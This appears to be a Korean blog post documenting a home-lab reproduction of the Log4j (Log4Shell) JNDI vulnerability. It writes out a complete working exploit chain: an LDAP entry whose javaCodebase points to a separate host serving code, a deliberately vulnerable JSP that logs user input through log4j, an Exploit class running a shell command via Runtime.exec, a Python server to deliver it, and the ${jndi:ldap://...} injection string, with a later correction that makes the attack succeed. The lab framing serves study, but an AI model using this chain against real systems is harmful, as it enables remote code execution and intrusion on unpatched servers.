Log4j 테스트 사이트도 만들었고, ldap 서버도 만들었으니 실제 취약점을 테스트 해볼 것이다.
복사하기
이 확장을 지원합니다
1. ldap에 자바 적용하기
sudo ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/ldap/schema/java.ldif
ldap 서버에서 JNDI Lookup 요청에 응답할 수 있도록 LDAP 엔트리에 javaClassName, javaCodeBase, javaFactory 속성을 추가한다.
2. Exploit.ldif 만들어서 적용하기
dn: cn=Exploit,dc=test,dc=june
objectClass: top
objectClass: javaContainer
#objectClass: javaObject
cn: Exploit
javaClassName: Exploit
javaCodebase: http://192.168.0.14:9999/
javaFactory: Exploit
ldap 서버에 악성 객체를 추가하는 ldif 파일을 만든다.
sudo ldapadd -x -D "cn=admin,dc=test,dc=june" -W -f exploit.ldif
만든 ldif 파일을 추가한다.
3. 테스트 파일 만들기
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="org.apache.logging.log4j.LogManager" %>
<%@ page import="org.apache.logging.log4j.Logger" %>
<!DOCTYPE html>
<html>
<head>
<title>Logging Example</title>
</head>
<body>
<form method="post">
<label for="logMessage">Enter a message to log:</label>
<input type="text" id="logMessage" name="logMessage">
<button type="submit">Submit</button>
</form>
<%
// Logger 설정
Logger logger = LogManager.getLogger("MyLogger");
// 사용자 입력 값 처리
String logMessage = request.getParameter("logMessage");
if (logMessage != null && !logMessage.trim().isEmpty()) {
logger.error("User input logged as error: " + logMessage);
out.println("<p>Logged message: " + logMessage + "</p>");
}
%>
</body>
</html>
입력을 받아서 logger.error로 로그에 쓰는 간단한 페이지이다.
4. Exploit.class 만들기
먼저 Exploit.java를 만든다
public class Exploit {
static {
try {
Runtime.getRuntime().exec("touch /tmp/log4j-exploit");
} catch (Exception e) {
e.printStackTrace();
}
}
}
/tmp 폴더에 파일을 생성하는 코드이다.
javac Exploit.java
javac Exploit.java를 통해 Exploit.class를 만든다
적당한 폴더에 넣고 아래의 명령을 통해 서버를 구동한다.
python3 -m http.server 9999
5. 테스트
내가 넣어본 값이다.
${jndi:ldap://192.168.0.14:389/cn=Exploit,dc=test,dc=june}
그럼 위와 같이 메시지에 남는다.
다른 값을 넣었을 때와는 달리 뭔가 되는 것 같긴 한데, 아쉽게도 tmp 폴더에 파일이 생성되지는 않았다.
좀 더 알아봐야 할 것 같다....
Copy
이 확장을 지원합니다
24/11/23 추가
https://ssjune.tistory.com/154
에서 기존의 코드를 분석한 결과 내가 ldif 파일을 잘 못 만들었다는 걸 알았다.
2. Exploit.ldif 만들어서 적용하기
dn: cn=Exploit,dc=test,dc=june
objectClass: javaContainer
objectClass: javaObject
objectClass: javaNamingReference
cn: Exploit
javaClassName: Exploit
javaCodebase: http://192.168.0.14:9999/
javaFactory: Exploit
ldif 파일을 위처럼 만들고 추가해야 한다.
ldapdelete -x -D "cn=admin,dc=test,dc=june" -W "cn=Exploit,dc=test,dc=june"
위 명령어로 Exploit ldif 등록한 것을 제거할 수 있다.
sudo ldapadd -x -D "cn=admin,dc=test,dc=june" -W -f exploit.ldif
그리고 다시 추가를 한다.
그리고 다시 시도하면...
/tmp 폴더에 log4j-exploit 파일이 생성된 것을 확인할 수 있다.
기타. 명령어
# java ldif 삭제
su root
cd /etc/ldap/slapd.d/cn\=config/cn\=schema
rm cn\=\{4\}java.ldif
# exploit ldif 삭제
ldapdelete -x -D "cn=admin,dc=test,dc=june" -W "cn=Exploit,dc=test,dc=june"
# 확인
sudo ldapsearch -x -LLL -b "dc=test,dc=june"
sudo ldapsearch -Y EXTERNAL -H ldapi:/// -b "cn=schema,cn=config" "(objectClass=*)"
#java ldif 재적용
sudo ldapadd -Y EXTERNAL -H ldapi:/// -f java.ldif
# exploit ldif 재적용
sudo ldapadd -x -D "cn=admin,dc=test,dc=june" -W -f exploit.ldif
# 입력값 시도
${jndi:ldap://192.168.0.14:389/cn=Exploit,dc=test,dc=june}